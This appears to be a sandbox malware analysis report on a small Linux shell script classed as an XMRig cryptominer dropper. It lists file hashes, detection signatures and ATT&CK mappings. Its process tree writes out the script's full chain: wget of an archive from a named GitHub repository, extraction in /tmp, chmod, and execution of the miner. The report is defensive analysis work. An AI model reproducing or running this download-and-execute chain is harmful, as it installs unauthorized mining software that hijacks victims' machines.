xmrig_linux | 9de0a0410f95d1e8d1594b7df632bfa014987e984338423ce768734862e8e6d5

Analysis

max time kernel
6s
max time network
901s
platform
ubuntu-24.04_amd64
resource
ubuntu2404-amd64-20240523-en
resource tags

arch:amd64arch:i386image:ubuntu2404-amd64-20240523-enkernel:6.8.0-31-genericlocale:en-usos:ubuntu-24.04-amd64system
submitted
17-10-2024 00:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

runok1.sh
Size

142B
MD5

425b91f7139485fbaecc3b28a93b682e
SHA1

e4407d765dd13af57948ea4baa16d81878906313
SHA256

5b1099aa137f2c09e9ab16e245cb15857937b23c04b60f2a3b0f36b176237e3d
SHA512

92280fa2aeef5bf43fc20a273b6d9717f7e2107eb719e6593f99bd1d1d38f3f1f97e2dce8be3c61c8e785be5a8e8292702f73ef602749eabdb808706e200e7bf

Score

10^/10

xmrig_linux defense_evasion discovery miner

Malware Config

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral3/files/fstream-6.dat	family_xmrig
behavioral3/files/fstream-6.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig_linux

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
2562	chmod

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

Processes:

flow	ioc
5	raw.githubusercontent.com
6	raw.githubusercontent.com
7	raw.githubusercontent.com

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

wgettar

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	wget
File opened for reading	/proc/filesystems	tar

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgettar

description	ioc	Process
File opened for modification	/tmp/ok1.tar.gz	wget
File opened for modification	/tmp/ok1/ok1/SHA256SUMS	tar
File opened for modification	/tmp/ok1/ok1/config.json	tar
File opened for modification	/tmp/ok1/ok1/xmrig	tar

/tmp/runok1.sh
/tmp/runok1.sh
1⤵
PID:2534
- /usr/bin/wget
  wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/ok1.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:2536
- /usr/bin/tar
  tar xvf ok1.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:2560
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:2561
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:2561
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:2561
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:2561
- /usr/bin/chmod
  chmod +x xmrig
  2⤵
  - File and Directory Permissions Modification
  PID:2562
- /tmp/ok1/xmrig
  ./xmrig
  2⤵
  PID:2563

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/root/.wget-hsts

Filesize
215B

MD5
9ed0ef79e01191f9eea6cdb465b0c238

SHA1
ebf9d5cbf32d4a1446c758d5cdfee2c7c9352b90

SHA256
61f0d62515d44d739529e8f6e2b95820febc4d29d6685f8640ac4c00e435b683

SHA512
593dab3e5624bac32efdef4026cdf248aea18926660c75233477d8cebe2e45bab3443df43a3f4b4854ced919bcc3774476a599f1a24754400c8bae0e9ee8526d

Download Submit
/tmp/ok1.tar.gz

Filesize
2.9MB

MD5
2b9ff325451f304a48a3fe6599613bef

SHA1
d6fb1d5f1d993b7e26cb80d8021a4708edc152d6

SHA256
748b121b7395204838ad972caef5fe1c45d8336e1220b7260011a1be2ce21c89

SHA512
906f828f757d05ea9aa8d7acf56fa81a0026ed81b8b763efd89fda73e01ba3b9ee964a10499321a12310d3ec7513d64cc8fb80a2d0906ce3c24ceff7737712d8

Download Submit
/tmp/ok1/ok1/SHA256SUMS

Filesize
150B

MD5
7fd26dcea92a3ad3561867c5735c8ecc

SHA1
400fe1a03ef6d4520b88f0c63002266586cdaa0f

SHA256
c2db0386506ea30d3b7c375ff40dfc875c2aa7961beb7806a36cf12fc10405b6

SHA512
b114cee7f7da66afc53aca2013c63ed0d12740cca8ad46a5164789fe33f1889a2ec313186a29c4fc1dd30a11041db31bb307be1884e15680f4b7627143cbf6d8

Download Submit
/tmp/ok1/ok1/config.json

Filesize
2KB

MD5
6b2a368c8fb65afcfdedf3790de06cec

SHA1
57725848151f6a3ff894d262cff6773a343b33a6

SHA256
64dda0b03564d8812657259c7df506e95ef6fb73afb3f69662c5a4f978d99156

SHA512
b4e30d3f926acbddbf4f12a6835dee0ec82c249d8ceea25848bc1fa087d4a9541864adb8ea665b3b63c8cc27dc49ab9df6629640026105616c94cf0d689f7c10

Download Submit
/tmp/ok1/ok1/xmrig

Filesize
6.7MB

MD5
8f633ade35df4f992eb28a2c5bc37cef

SHA1
6b2fe529339896b22328dec8936219e7b8e3252f

SHA256
364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

SHA512
8073ded4e0b5d6333ecb0b324cf09c023dfa99c6110ad6f86225f1a4b9a0dcdf88bd094da9c920a8b729c020990dba9f263481030dec463ab9fbc41cba050c73

Download Submit